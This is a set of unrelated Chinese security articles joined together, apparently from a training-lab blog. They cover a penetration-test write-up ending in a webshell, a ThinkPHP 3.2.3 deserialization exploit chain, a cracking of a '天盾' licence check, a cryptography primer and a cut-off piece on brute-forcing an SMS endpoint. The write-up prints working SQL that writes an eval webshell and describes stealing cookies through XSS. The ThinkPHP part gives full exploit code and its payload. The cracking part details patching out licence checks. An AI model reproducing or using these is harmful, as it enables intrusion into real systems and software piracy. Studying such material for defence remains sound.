记录一次实战GetShell
一、文章前言
本文为记录实战过程中遇到的问题及思考,旨在思路分享及自我总结。文中涉及目标站点为SRC授权站点,为防止漏打码已对实际链接进行了部分删减,如去除了链接目录名等。整个测试过程涉及未授权访问、暴力破解、存储型XSS、SQL注入,到最后拿shell,过程略微曲折。
PS:截至投稿前,已将漏洞提交厂商并验证其已完成修复。
二、信息收集
打开目标站点,为系统登录界面。安装VNC远程协助链接到内网地址,经测试登录无验证码及失败次数锁定,可尝试暴力破解,此处先做信息收集。
目标站点:http://1.2.3.4/login.aspx
脚本:aspx,通过登录页面可知;
服务器:IIS7.5,通过404、403报错页面可得;
数据库:可能为SQL Server,常见组合;
安全防护:未知,对IP进行端口扫描会封一段时间,但测试and 1=1不拦,无WAF或未开启严格的防护策略;
通过查看返回包,发现Server为nginx/1.17.2,判断应该存在反向代理。
三、暴力破解
通过对现有信息的分析,优先选择暴力破解,系统首页登录为密码md5前端加密后传输,此处爆破需选择burp的HASH-MD5后进行爆破。
系统登录失败返回信息都为“登录失败xxx”,无法确认是否存在用户。
查看页面源码发现存在http://1.2.3.4/client/
此页面未对密码进行md5加密,即
首页:http://1.2.3.4/ 密码加密后传输
Client:http://1.2.3.4/client/ 密码明文传输
此处用http://1.2.3.4/client/ 进行爆破,不需要进行MD5加密可提高效率,但使用name500及自定义字典,包括常见测试账号,及3位数字,4位数字,5位数字等组成5000多个用户名,爆破密码123456、888888、111111,结果一个都没爆破到。
当时的思路是先确定用户名,例如工号等,再去爆破其中存在弱口令的账号,并未想着直接爆破admin,因为那时觉得后台可能不在这里登录,现在想想也可以直接盲爆admin用户。
所以那时先收集用户名,使用Google语法,Site:xxx 工号,但并没有收获。针对只有登录界面的系统,只有掌握了用户名的规律,才能提高爆破的机率,此处很有可能是工号。用户名收集无果,便打开了目录扫描,看看有无敏感信息。
四、未授权访问
通过对站点进行目录扫描,存在以下目录及文件。
逐一进行访问:
css.aspx访问弹出登陆超时,跳转登陆界面,禁用js访问空白;
reg.aspx访问为软件注册页面;
main.aspx访问弹登陆超时,跳转登陆界面,禁用js返回页面如下:
查看源码,发现存在main_d.aspx如下:
禁用js访问main_d.aspx返回以下页面:
继续查看源码,发现以下地址。
禁用js访问http://1.2.3.4/MyWork/Richeng/RichengmyList_show.aspx?id=12
点击修改,此处已测试id不存在SQL注入。
该页面存在大量附件,其中有体检附件登记表,点击下载链接如下:
点击下载跳转登陆界面
此处感觉是有任意文件下载,但可能需要登录,后续爆破出账户后可测试。
http://1.2.3.4/file_down.aspx?number=file/liaotian/201922xx.xls
需下载文件,尝试构造http://1.2.3.4/file/liaotian/201922xx.xls
如上获取到该单位的员工工号,使用excel生成工号列表进行暴力破解。
五、登录系统
上述已获取工号组合,生成01111-05555进行爆破,使用密码123456、111111、888888、123qwe、qwe123、123123、123321。
当使用密码123321时,成功爆破出一个弱口令用户。
使用该账号登录系统
系统功能模块较多,测试前面的文件下载
http://1.2.3.4/file_down.aspx?number=file/liaotian/201922xx.xls
尝试下载web.config
http://1.2.3.4/file_down.aspx?number=web.config
测试不存在任意文件下载,修改文件后是直接Location到文件,从而下载,
后续对系统的功能点逐个进行测试。
六、文件上传
后台功能主要存在以下4个上传点。
上传点1-印章上传:
上传点2-邮件附件:
上传点3-头像上传:
上传点4:KindEditor 4.1.10 编辑器,貌似无解。
上传点1,文件上传后的路径为:/seal/2021815238.png
此目录未限制禁止脚本执行,但无法上传脚本文件,尝试绕过均失败。
上传点2,文件上传后的路径为:/file/emailfile/2021081523.png
此目录限制了脚本执行,即/file目录下不能执行脚本文件。
此上传点可上传aspx等文件,但上传后后缀为.unknow
后续通过注入点发现上传后缀写在数据库中,可以通过update语句增加后缀,但并无跨目录的方法,即使上传了aspx脚本文件,也无法执行。
上传文件后截图如下:
后续查看数据库,允许上传的文件后缀如下:
上传点3,任意文件上传,上传后路径为/SystemManage/User/file/ 下
测试目录限制脚本执行,无法跨目录。
七、存储型XSS
上面针对后台上传功能测试后无法上传getshell,便考虑是否能找到高权限账号,管理员账号可能有修改上传文件格式的权限。
此时测试邮件存在存储型XSS,发送邮件可以打用户cookie。
发送邮件给自己,收件箱打开时:
可以给管理员发送带XSS的邮件,当管理员打开邮件时,即可以获取管理员的cookie,此处配合server酱,可实现获取cookie后微信提醒通知,同样发送邮件给自己测试。
编写邮件,插入XSS平台payload。
收件箱点开后
微信收到Server酱通知
登录XSS平台查看,成功获取用户cookie信息
此处构造好XSS后,给管理员发送了标题为【问题建议】的邮件,增加管理员打开的概率,即打开邮件可获取管理员的cookie。
同时在邮件选择收件人处,发现组织架构处,可列举所有用户的工号、科室、姓名信息。
故可以收集用户工号,此处发现管理员即为admin,在等待xss的同时,也构造字典对admin进行爆破。
然后竟然成功爆破出了admin的密码,看了下密码在“全国弱口令TOP1000”中没有,如果一开始就爆破admin,可能也爆不出来,个人习惯是爆TOP1000,当初也确定不了管理员就是admin。
此处也说明有一个强字典是多么的重要。
使用admin登录系统后,只多了以下两个功能模块,很失望并没有可以修改上传设置的功能。
测试发现登录管理员也并没啥用,还是无法getshell,既然上传无门,那就寻找注入点,如果是sa的注入点则getshell的机率大很多。
八、SQL注入
于是又重新回到后台各个功能点进行测试,经过一番测试终于发现了一个注入点,链接如下:
测试1=1页面正常
测试1=2页面异常
爆数据库版本信息
如上确认存在SQL注入,使用sqlmap进行利用,当前用户为SA。
测试使用—os-shell命令失败,可能是有安全设备拦截。
此时也对数据库的大致表进行查看,发现了管理后台某个点的文件上传格式可在数据库设置后缀,但无法跨目录,故即使能上传脚本也无法getshell。
九、GetShell
经手工测试注入点支持堆叠注入,此处尝试使用sp_oacreate写马,SQL如下:
declare @f int,@g int;exec sp_oacreate 'Scripting.FileSystemObject',@f output;EXEC SP_OAMETHOD @f,'CreateTextFile',@f OUTPUT,'c:\shell.asp',1;EXEC sp_oamethod @f,'WriteLine',null,'<%eval request("cmd")%>'
但需知道网站根目录,此处可以使用xp_dirtree进行目录遍历,SQL如下:
create table dirs(subdirectory varchar(255),depth int, filee int);
insert dirs exec xp_dirtree 'c:\',1,1
建立表后,先执行以下查询,此处为查询c盘目录下的文件夹及文件:
http://1.2.3.4/WorkFlow/AddWorkFlow_add_Next.aspx?tmp=0.8307731177113578&add=&UpNodeNum=11,&FlowNumber=20189139012187&&&';insert dirs exec xp_dirtree 'c:\',1,1;--&FormId=86&Number=202181414
页面返回正常,则语句执行成功,再去sqlmap查询dirs表下的内容,即为c盘的目录内容:
利用上述方式成功找到网站根目录为d:\OA\ 下。
执行SQL语句写入文件shell.asp
declare @f int,@g int;exec sp_oacreate 'Scripting.FileSystemObject',@f output;EXEC SP_OAMETHOD @f,'CreateTextFile',@f OUTPUT,'d:\OA\shell.asp',1;EXEC sp_oamethod @f,'WriteLine',null,'<%eval request("cmd")%>'
打开链接:http://1.2.3.4/shell.asp 空白,中国菜刀连接成功。
上传冰蝎,后续可以进行socks代理,从而进入内网。
通过systeminfo收集系统信息,可用于后续提权。
以上成功获得目标站点shell。
十、总结
渗透测试很多时候需要的细心和耐心再加上一点运气,当我们在后台无法getshell时,可以尝试去找后台的SQL注入,高权限的注入点可以直接写shell。 又或者当我们有一个SQL注入点却没法写shell时,可以尝试读管理员账号密码,登录后台测试是否有文件上传漏洞,从而进行拿shell。关注不同的漏洞危害,并进行组合利用,往往可以达到出其不意的效果。
至此全篇完,感谢阅读,希望您能从中有所收获。
ThinkPHP3.2.3反序列化链子分析
前言
目前官方已经不再维护ThinkPHP3.2.3,本文仅对ThinkPHP3.2.3反序列化链子进行复现,如有纰漏,还望指正。
环境介绍
MAMP pro
PhpStorm
Xdebug
利用条件
具备反序列化入口
分析过程
首先在分析前,先新建一个控制器,写一个反序列化入口
在Application/Home/Controller/HelloController.class.php中新建以下内容:
<?php
namespace Home\Controller;
use Think\Controller;
class HelloController extends Controller
{
public function index($Lxxx){
echo base64_decode($Lxxx);
$a = unserialize(base64_decode($Lxxx));
}
}
反序列化入口自己创建好了,接下来新建一个开始找反序列化链头,因为大多数反序列化漏洞,都是由__destruct()魔术方法引起的,因此全局搜索public function __destruct()
分析一下不可用入口:
例如,像上方这种,就没有可控参数,就不是很好利用
通常,在寻找__destruct()可用的魔术方法需遵循“可控变量尽可能多”的原则
因此在ThinkPHP/Library/Think/Image/Driver/Imagick.class.php文件中,找到具有可控变量的析构函数方法:
如果我们对img属性赋一个对象,那么它会调用destroy()方法,这时,我们全局搜索具有destroy()方法的类,这里有一个坑点,就是在PHP7版本中,如果调用一个含参数的方法,却不传入参数时,ThinkPHP会报错,而在PHP5版本中不会报错
而我们全局搜索的结果如下:
在ThinkPHP/Library/Think/Model.class.php中,destroy()方法有两个可控参数,调用的是delete方法,同样,类可控,delete方法的参数看似可控,其实不可控,因为下方全局搜索后,delete方法需要的参数大多数都为array形式,而上方传入的是$this->sessionName.$sessID,即使$this->sesionName设置为数组array,但是$sessID如果为空值,在PHP中,用.连接符连接,得到的结果为字符串array。
<?php
$a = array("123"=>"123");
var_dump($a."");
?>
string(5) "Array"
接下来全局搜索delete方法
如果能够满足红色方框前面的条件,那么我们期望能调用红色方框中的delete方法
上面分析了这么多了,保险起见,我们这边还是先在这个文件下,echo一个值,然后将前面分析的链子整合一下,进行反序列化,看看调用过程是否正确。
前面一共涉及到三个类,我们在Model.class.php中打印一个值,构造这三个类序列化字符串如下:
<?php
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle = null;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think{
class Model{
}
}
namespace{
$a = new Think\Image\Driver\Imagick();
echo base64_encode(serialize($a));
}
输出:
TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjA6e319fQ==
传给浏览器后,我们可以看到Lxxx被成功的打印了出来
也就是说截止目前,我们的分析还没有问题,那接着往下分析:
在ThinkPHP/Library/Think/Model.class.php中,$this->data可控,我们期望进入下方的return语句中,因为此时如果我们对$this->data传入,则该方法的option参数变相可控
接着看这个方法,往下看,看看是否有可控的点
上方红框的位置$this->db我们可控,delete方法也可控,option值上面说了,变相可控
那么我们就可以继续搜索delete方法,注意,这个时候搜索delete方法和上面就不一样的了,之前delete方法参数不可控,此时可控了。
在ThinkPHP/Library/Think/Db/Driver.class.php文件中,可能存在SQL注入的点,我们跟进看一看。
下方的sql语句可能存在注入
这里直接对table进行拼接,上方有一个parseTable方法,跟进看一下,看看是否存在过滤。
可以看到,这里parseTable方法只是调用了parseKey方法,再跟进parseKey方法
parseKey方法没有过滤,直接将传入的参数返回,下方红框处就是执行sql的地方了,在执行之前可以将sql打印出来,方便调试
这么一来就可以构造链子了
<?php
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle = null;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $pk;
protected $db;
protected $data = array();
public function __construct(){
$this->db = new Mysql();
$this->pk = "id";
$this->data[$this->pk] = array(
"table" => "mysql.user where 0 or updatexml(1,concat(0x7e,database()),1)#",
"where" => "1=1"
);
}
}
}
namespace Think\Db\Driver{
class Mysql{
protected $config = array(
"debug" => 1,
"database" => "tp323",
"hostname" => "127.0.0.1",
"hostport" => "8889",
"charset" => "utf8",
"username" => "root",
"password" => "root"
);
}
}
namespace{
$a = new Think\Image\Driver\Imagick();
echo base64_encode(serialize($a));
}
得到结果:
TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjM6e3M6NToiACoAcGsiO3M6MjoiaWQiO3M6NToiACoAZGIiO086MjE6IlRoaW5rXERiXERyaXZlclxNeXNxbCI6MTp7czo5OiIA
后记
多断点,多打印,多跟进,多思考。
推荐实验:PHP反序列化漏洞实验(蚁景网安实验室) https://www.yijinglab.com/expc.do?ce=e5cce319-525a-43ed-befd-b1c399060a5b>>
实战天盾网络校验+暗桩
0x1
刚打开就显示 有新版 然后自动退出了 说明有更新了现在这个不能用了 拉进od开整
因为有弹窗,通过弹窗下手,MessageBoxA直接下断
成功断下,观看堆栈,发现传入进来的值就是提示新版
一路f8 走出来走到用户层 可以发现这个call就是提示更新的 然后下面这个就是退出call
我们直接nop掉 然后直接运行起来
发现成功运行起来,提示更新就被我们干掉了
点击登录显示你未充值到期 假的卡号肯定没用 我们直接搜索字符串
点E 然后进去401000基地址来查询字符串
发现了 原来是用了天盾网络验证 这里就好办了 这里做一个小知识
解决天盾网络验证分为4个步骤
1.判断登录
2.判断合法
3.判断算法
4.判断时间
我们一步一步解决掉他们
先是找到登录中跳转过去
直接这里的每一个call都用回车进去查看
像这种 FF25这种就是自带函数 而不是人自定义的
往下翻找到这个函数 应该就是登录判断函数
直接改变判断 然后跳转出来
找到合法
直接retn返回不进行判断
查找时间-1
进行更改时间 注意不要超出这个00 不然就是改变代码
找到算法识别跳转 一直往下翻到红色算法区域结束 第一个jnz判断的位置
直接改成jmp
往下翻再把jge改成jmp
0x2
这时候我以为已经成功了,但是直接闪退退出了。发现可能有暗桩或其他判断
一直单步跟进到这里,发现在这里闪退了
进去一看发现又进行了一次合法判断,直接改成retn返回
0x3
破解成功
0x4
破解成功后发现,里面的功能无法运行,感觉没有完全破解完,后又发现往路径里填写了一个key.txt
里面填了一个也不知道什么用的数字,重新回去调试
0x5
搜索字符串发现确实有这个key.txt 但是不知道做了什么
往上走发现 有一个判断跳过了这个key.txt
直接尝试nop掉这个判断,功能最终成功运行。
0x6总结
1.天盾校验就是这么一个过程或者大多数的网络校验都是如此,只需要一直调试。
2.发现有暗桩不要害怕,能断下单步调试,有耐心就能找到。
3.发现破解了还是不能运行,不要着急,仔细观察软件还做了什么,大胆尝试,猜测,改变。
推荐实验:Ollydbg之程序破解(蚁景网安实验室) https://www.yijinglab.com/expc.do?ce=b0b6e03f-a3cb-4f5c-9a98-272e2f4ee593>>
密码学的安全性浅析4
前言
本文是本系列的第四篇,由于侧重点是对密码学中的安全性问题进行分析,所以不会对密码学基础的核心概念进行阐述,如果阅读本系列文章时不明白所涉及的术语时请参考国内大学的推荐教材,如《密码学原理与实践》《深入浅出密码学》,如果只是感兴趣而并非要深入了解,只阅读《图解密码技术》也就够了。
Diffie-Hellman
迪菲-赫尔曼密钥交换/协商(英语:Diffie–Hellman key exchange,缩写为D-H) 是一种安全协议。它可以让双方在完全没有对方任何预先信息的条件下通过不安全信道创建起一个密钥。这个密钥可以在后续的通讯中作为对称密钥来加密通讯内容。
D-H函数
DH密钥协商协议的核心操作是DH函数,其涉及通信双方从Zp*群中随机选择两个私有值,记做a、b,通过a计算公共值A= g^a mod p,通过b计算
B= g^b mod p
然后双方将公共值与自己的私有值结合,这里的关键在于结合后的值是相同的,即
得到的g^ab称为共享秘密,将其传递给密钥派生函数KDF,以生成对称密钥。
这看起来非常简单,但是这只是表面的,事实上这并不容易
一方面,并不是任意素数p或者基数g都可以奏效,比如某些g会导致将共享秘密g^ab限制在一小部分范围内,但实际上我们希望它的可能取值范围与Zp*一样。
p应该满足(p-1)/2结果也是素数,这样才可以保证该群没有使DH更容易被攻破的更小子群。
D-H问题
使用DH计算共享秘密时,我们关心的不仅是DLP问题,更关注特定于DH的问题,分别是CDH和DDH。
CDH
CDH即computational Diffie-Hellman,计算DH问题,给定g^a和
g^b,但是不知道a或b时,
求出g^ab
这个问题的出发点是为了确保攻击者即使拿到了双方的公共值,也不知道共享秘密。
如果可以解决DLP,自然可以解决CDH;但是解决CDH,不一定能解决DLP,事实上可以解决CDH的最快方法是用NFS(numer field sieve,数域筛选法)求解DLP
DDH
DDH即decisional Diffie-Hellman,这个难度假设比CDH更强,如假设在给定公共值的2048比特情况下,攻击者可以计算共享秘密的前32比特,但是无法计算所有2048比特。此时虽然攻击者不知道完整的g^ab,但是它还是知道共享秘密的一部分信息,这有助于攻击者造成破坏。
为了确保攻击者无法得到关于
g^ab的任何信息,只需要将其与随机的群元素区分开即可,这种问题就称之为DDH。给定公共值和某个随机数c,在公共值和g中二选一(概率均为1/2),
DDH问题确定g^ab是否被选中。
如果DDH很难,那么CDH也会很难,就无法获得g^ab的任何信息;如果可以解决CDH,那么就可以解决DDH.DDH不如CDH难,但是DDH是密码学中的主要假设,也是被研究最多的一种。
共享秘密用作密钥
通信双方在完成DH会话交换时,会得到共享秘密g^ab,但是,我们要注意,这是作为派生会话密钥的输入,其本身并不是密钥!
我们知道密钥看起来应该是随机的,其本身每个比特为0、1的概率是相同的,但是g^ab做不到这一点,因为它不是随机字符串。这里容易混淆的一点是:随机的群元素与随机的比特字符串本质上是不一样的。
举个例子,设乘法群Z13*={1,2...12},使用g=2作为生成元,根据g^i可以扩展成所有
Z13*的值,如果g的指数是随机的,那么会获得
Z13*的随机元素,但是将对应元素编码为4比特字符串时就不是随机的了
此时的随机的概念要求所有比特位为0或1的概率相同
但是在Z13*中,有7个值的最高比特位为0,只有5个值的最高比特位为1,所以这个比特位为0的概率为7/12,约为0.58,而不是0.5.
不安全的群参数
CVE-2016-0701是OpenSSL的一个漏洞,其利用的就是不安全的D-H参数,当用户使用不安全的DH群参数(即不安全的素数p)时,会引发风险。
给定素数p,所有DH操作都在其对应的乘法群Zp中发生,Zp包括小的子群.问题在于,在加密协议中如果较大的群中存在较小的子群是非常危险的,因为此时会将共享秘密限制在较小的可能值集合内。更进一步地,攻击者可以构造DH指数x,当其与受害者的公钥g^y结合时,会暴露有关私钥y的信息,从而可能让其完全泄露。
椭圆曲线
曲线选择
椭圆曲线的安全性在于它使用的群的阶(即曲线的点数),加法公式以及其参数的选取原因。
椭圆曲线有很多,但不是所有的都适用于加密,在选择时要仔细选择曲线方程y^2=
x^3+ax+b中的系数a和b,否则得到的曲线可能是不安全的,一般而言,有如下要求:
1.群的阶不能等于一些小数的乘积,否则会很容易求解ECDLP
2.由于当Q=P时,加法公式与其他情况不同,所以做加法时需要权衡,当攻击者可以区分相同点之间的加法和不同点之间的加法时,可能会泄露关键信息。如果曲线对所有点的加法都使用同一个公式,那么它可能是安全的
3.如果曲线的设计者不解释选择参数a,b的原因,那么曲线可能是不安全的,因为我们并不知道a,b是否是较弱的参数。
常用的曲线有NIST曲线以及Curve25519
NIST曲线
NIST的5条曲线工作在模素数上,称为素数曲线,这是最常见的,其中最常用的是P-256,这是对256比特数
进行模运算的曲线,其对应的方程为
但是NIST曲线的系数选择是由NSA指定的,他们并没有说选b的理由,所以这可能是不安全的。
Curve25519
这是由Daniel J.Bernestein设计的,是目前最高水平的 Diffie-Hellman函数,适用于广泛的场景。Curve25519是一个椭圆曲线提供128位安全性,设计用于椭圆曲线Diffie-Hellman(ECDH)密钥协商方案。它是最快的ECC曲线之一。给定一个用户的32字节密钥,curve25519计算该用户的32字节公钥。给定该用户的32字节密钥和另一个用户的32字节公钥,curve25519计算一个32字节的共享密钥提供给这两个用户使用。然后可以使用这个秘密对两个用户进行身份验证和信息加密。其方程形式为
其中486662是满足作者设定的安全准则的最小整数。
其应用十分广泛,包括Chrome,OpenSSH等。
随机性差
与传统的Diffie-Hellman比起来,椭圆曲线使用的参数更多,更容易受到参数误用的风险,也就更容易受到攻击。
我们知道在ECDSA的签名过程中求s=(h+rd)/k mod n时,使用的k是秘密随机的,所以由此产生的签名也是随机的。
如果相同的k被重用去对第二个消息进行签名,那么攻击者可以通过生成的两个值s1=(h1+rd)/k,s2=(h2+rd)/k,得到s1-s2=(h1-h2)/k,从而有k=(h1-h2)/(s1-s2),当k已知时,通过下式可以恢复私钥d
无效曲线攻击
根据椭圆曲线的特点,如果无法验证输入点,那么ECDH就无法正常工作,因为给出点P+Q的坐标的加法公式中没有涉及曲线的系数b,加法公式只依赖于点P和点Q的坐标和系数a,这会导致什么问题呢?
对两个点做加法时,可能其中一个点不在正确的曲线上,即可能加的是另一个只有系数b不同的曲线上的点,这样的话,加法不是在曲线上进行的,攻击者由此就可以发动攻击。
举个例子,设Alice和Bob正在进行ECDH,并在曲线和基点G上达成一致。Bob将其公钥dBG发送给Alice,但是Alice不在约定的曲线上发送自己的公钥dAG,而是发送了另一条曲线上的一个点(而这条曲线非常如,并且对于Alice选择的点P,求解ECDLP很容易,换句话说,Alice选择了一个阶数很低的点,其有一个较小的k,是的kP=O)。而Bob并不知情,通过该公钥计算共享秘密dBP,对他进行哈希,并使用得到的密钥进行加密,并将其发送给Alice。但是,Bob在计算dBP时,不知不觉中计算了较弱的曲线,由于P的阶较低,于是P点落在原本选择的高阶的群的一个小的子群中,导致dBP也在这个小
一个典型的例子是CVE-2019-9836,研究人员发现SEV椭圆曲线(ECC)实现容易受到无效曲线攻击。在启动命令中,攻击者可以发送不在官方NIST曲线上的小顺序ECC点,并迫使SEV固件将小顺序点乘以固件的专用DH标量。另外这篇学术论文也可供参考《Practical Invalid Curve Attacks on TLS-ECDH》
后量子密码学
量子加速
当一个问题用量子计算机比用经典计算机能更快求解时 ,就称之为量子加速。比如在经典计算机中,要在无序列表中找到某个索引,平均需要n/2次操作。但是存在一种量子算法,只需要√n次操作即可,这比n/2小了几个数量级,比如n=1000000,那么n/2=500000,√n=1000。
我们一般使用时间复杂度来量化算法之间的差异,其用O()符号表示,以上面这个例子为例,经典算法的量级为O(n),而量子算法的运行时间在O(√n)量级,它们之间的差异是平方指数,我们称之为二次加速。
事实上,量级计算还可以实现指数加速,即一个任务在经典计算机上需要指数级时间,如O(2^n),而在量子计算机上只需要多项式复杂度即可,即O(n^k)。因为在密码学中,我们通常把指数时间与不可能联系起来,而多项式时间意味着可实现,所以指数加速对密码学带来的冲击是非常大的。
指数加速的典型代表就是Simon问题:
给定一个方程:
如果使用经典计算机,求解该问题本质可以归结为寻找碰撞,需要求f进行2^(n/2)次查询
而如果使用量子计算机,通过n次查询即可,对应的量子算法电路如下
实际上,Simon问题的指数加速只有在非常特定的情况下才能应用于对称密码。我们再来看看更实际的情况
Shor算法
Shor算法作为一种量子算法,可以在求解因式分解、离散对手、椭圆曲线离散对数等问题时实现指数加速,这意味着RSA,D-H、椭圆曲线密码等机制都会受到影响。Shor算法中的量子部分如下图所示
Shor算法实际上解决的问题比因式分解等问题更普遍:如果f是周期函数,即存在f(x+a)=f(x),其中a是周期,则Shor算法可以有效找到周期a。这种高效找到周期的能力对于密码学而言非常重要,可以用其攻击公钥密码。我们来看看Shor怎么解决因式分解和离散对数问题,它们分别对应着RSA和Diffie-Hellman背后的数学难题
因式分解
设要分解大数N=pq
如果可以计算出a^x mod N的周期就能很容易对N进行因式分解:
选择一个小于N的随机数a,然后向Shor算法询问函数f(x)=a^x mod N的周期,如果找到周期,那么就有
即
这意味着,要么
或者
换句话说,a^ω -1是N的倍数,即存在某个数k,使得下式成立
这里的关键在于a^(ω-1)可以很容易分解为两项的乘积
那么就可以计算出a^ω/2 -1与N的最大公约数,并检查是否已经得到N的一个非平凡因数,如果不是,则对另一个值a^ω/2+1做相同运算,尝试几次后,就可以得到N的因数,此时就可以从RSA的公钥中恢复私钥,拿到私钥后就可以解密消息、伪造签名了。
我们来分析下复杂度。对N进行因式分解的经典算法的时间复杂度是n的指数级别,n是N的比特长;而Shor算法在n的多项式时间O(n^2(log n)(log log n))内即可完成。下图是经典大数分解和Shor算法的复杂度对比
离散对数
离散对数的问题是通过y = g^x mod p来寻找x,利用Shor算法快速找到周期,从而进行求解。
设函数
要找到周期ω和ω‘,满足
f(a+w,b+w')=f(a,b)
通过上式可以推出
使用g^x代替y,可以得到
这等价于
所以可以得出x=-w/w'
算法复杂度为O(n^2(log n)(log log n)),其中n是p的比特长度
Grover算法
除了Shor算法之外,另一个经典的量子加速就是以√n复杂度搜索n个元素的能力(在经典算法中,其复杂度为O(n)),这种加速可以通过Grover算法实现,于1996年由计算机科学家洛夫·格罗弗提出,Grover算法的量子电路表示如下。
简单起见,我们可以把Grover算法当做从n个可能的值中找到满足f(x)=1中的x的一种方法,其中f满足:f输出为0或1,对于大部分输入都会输出0。如果有m个x值满足f(x)=1,那么Grover算法可以在O(√n/m)时间内找到解
把f放到密码学的场景下,设f(x)=1当且仅当x等于加密函数E(K,P)=C的未知密钥K。如果E是AES的话,找x相当于就是找到密钥,如果使用Grover算法,那么时间复杂度为2^64量级,
而使用经典计算机则是2^128量级。
此外,Grover算法还可以用于哈希函数的原像攻击,其通过2^(n/2)量级运算就可以找到n比特哈希函数的原像。
有关的具体理论分析可以阅读原始论文《A fast quantum mechanical algorithm for database search》。
后量子密码算法
后量子密码是指不会被量子计算机攻破的密码,这也就意味着这些算法不能依赖于会被Shor算法等解决的难题。目前主要的类型有四种:基于编码的,基于格的,基于多变量的,基于哈希的。在NIST PQC比赛第三轮决赛时的算法按照类别分组可以表示如下。
基于哈希的签名方案的安全性来源于Hash函数的安全性, 典型方案为默克尔(Merkle)签名方案, 由一次性签名方案OTS (One Time Signature)演变而来的, 并结合了Merkle的哈希树认证机制, 共同构造出一个完全的二叉树来实现数字签名。哈希树的根是公钥, 一次性的认证私钥是树中的叶子节点。
基于编码理论构造的公钥体制, 其理论基础是解码问题的困难性, 换句话说就是在已知生成矩阵的情况下, 在码空间寻找一个码字与已知码的Hamming距离最短。如果已知码为0则问题就是最小权重问题。它的任意线性码的译码问题是NP完全问题。
基于格的公钥密码体制是在大维数的格上, 基于最短向量问题SVP (Shortest Vector Problem)和最近向量问题CVP (Closest Vector Problem)等数学难题而构造的公钥密码体制。SVP问题是指在大维数格中寻找长度最短的非零向量, 而CVP是指在大维数格中寻找和固定向量距离最近的向量, 这两个问题都是NP难问题。
基于多变量的算法使用有限域上具有多个变量的二次多项式组构造加密、签名、密钥交换等算法。它的安全性来源于求解有限域上随机生成的多变量非线性多项式方程组。该问题被证明为非确定性多项式时间困难。目前没有已知的经典和量子算法可以快速求解有限域上的多变量方程组。
它们横向的比较分析可以总结如下
如果对后量子密码学有兴趣,可以进一步参考《The Survey of Post-quantum Cryptography Hardware Implementation 》等文献。
参考
1.https://qrunes-tutorial.readthedocs.io/en/latest/chapters/algorithms/shor_Algorithm.html
2.https://en.wikipedia.org/wiki/Shor%27s_algorithm
3.https://web.archive.org/web/20190702011957/https://seclists.org/fulldisclosure/2019/Jun/46
4.https://csrc.nist.gov/Projects/elliptic-curve-cryptography
5.https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0701
6.https://en.wikipedia.org/wiki/Computational_Diffie%E2%80%93Hellman_assumption
7.https://en.wikipedia.org/wiki/Decisional_Diffie%E2%80%93Hellman_assumption
https://zhuanlan.zhihu.com/p/255171562
9.《Handbook of Elliptic and Hyperelliptic Curve Cryptography》
10.《Quantum Computing and Quantum Information》
11.https://arxiv.org/abs/quant-ph/9605043
12.https://docs.microsoft.com/zh-cn/azure/quantum/concepts-grovers
13.《Serious Cryptography》
14.The Survey of Post-quantum Cryptography Hardware Implementation
15.《Elliptic Curve Cryptography in Practice》
16.https://link.springer.com/chapter/10.1007/978-3-319-24174-6_21
挖洞实战之信息泄露与前端加密
前言
本文并非密码向,不会对算法过程/代码逻辑进行具体阐述,因为这没有意义,实战的时候肯定是具体问题具体分析,所以了解个大致流程就行。
在挖洞过程中,很容易找到一些登录/忘记密码是手机验证码验证的站,有些站对发送验证码这一环节并未做太多的限制,理论上可以借助这个漏洞进行爆破,从而得出数据库内所有已注册手机号,这也算一种信息泄露。这种洞十分好挖,对技术要求不高,很适合SRC入门!
如果站点在请求的时候存在前端加密,大概都是常规的AES或RSA(比如以前的京东/B站)。所以写篇文章,整理下思路。
寻源
前几天挖洞的时候就看到个发送验证码的
先跑一百个请求,对发包没有做什么限制,说明有门!
但问题来了,请求体是这样的,明显进行了前端加密,要想爆破,还得先找出加密逻辑。
打开F12,发现控制台在输出东西,
再看资源文件,chunk文件加上index,那直接去找index.js文件即可。
然后就是要找到具体位置了,c0ny1表哥给出了一些好办法,详情见https://gv7.me/articles/2018/fast-locate-the-front-end-encryption-method/
可惜在这个站上不怎么好使,只能慢慢找了。
一般前端加密都是用JSEncrypt库的,所以可以试试搜一些jsencrypt相关的方法名,如setPublicKey、encrypt等
若压缩过的代码看得太累,可以试试用http://jsnice.org/美化下。
不要手撕js,会变得不幸。
首先打开F12,点开源代码,点个js文件,之后再点下左下角的美化按钮
代码就变得好看多了
尝试性的搜了下encrypt,位置大概就被我找到了。
这里有很多个函数,如encodeRSA、decodeRSA、getKeyRSADefault、encodeAES、decodeAES、getKeyAES、signature这种函数名,可以说是再明显不过的提示了。
分析
经过不眠不休的折磨,我逐渐理解了一切。
0.DEMO
先了解一下JSEncrypt库,十分简单
import JSEncrypt from 'jsencrypt'
//加密
var encryptor = new JSEncrypt()
var pubKey = '-----BEGIN PUBLIC KEY-----公钥-----END PUBLIC KEY-----'
encryptor.setPublicKey(pubKey)//设置公钥
var rsaPassWord = encryptor.encrypt('要加密的内容')
//解密
var decrypt = new JSEncrypt()
var priKey = '-----BEGIN RSA PRIVATE KEY-----私钥-----END RSA PRIVATE KEY----'
decrypt.setPrivateKey(priKey)//设置秘钥
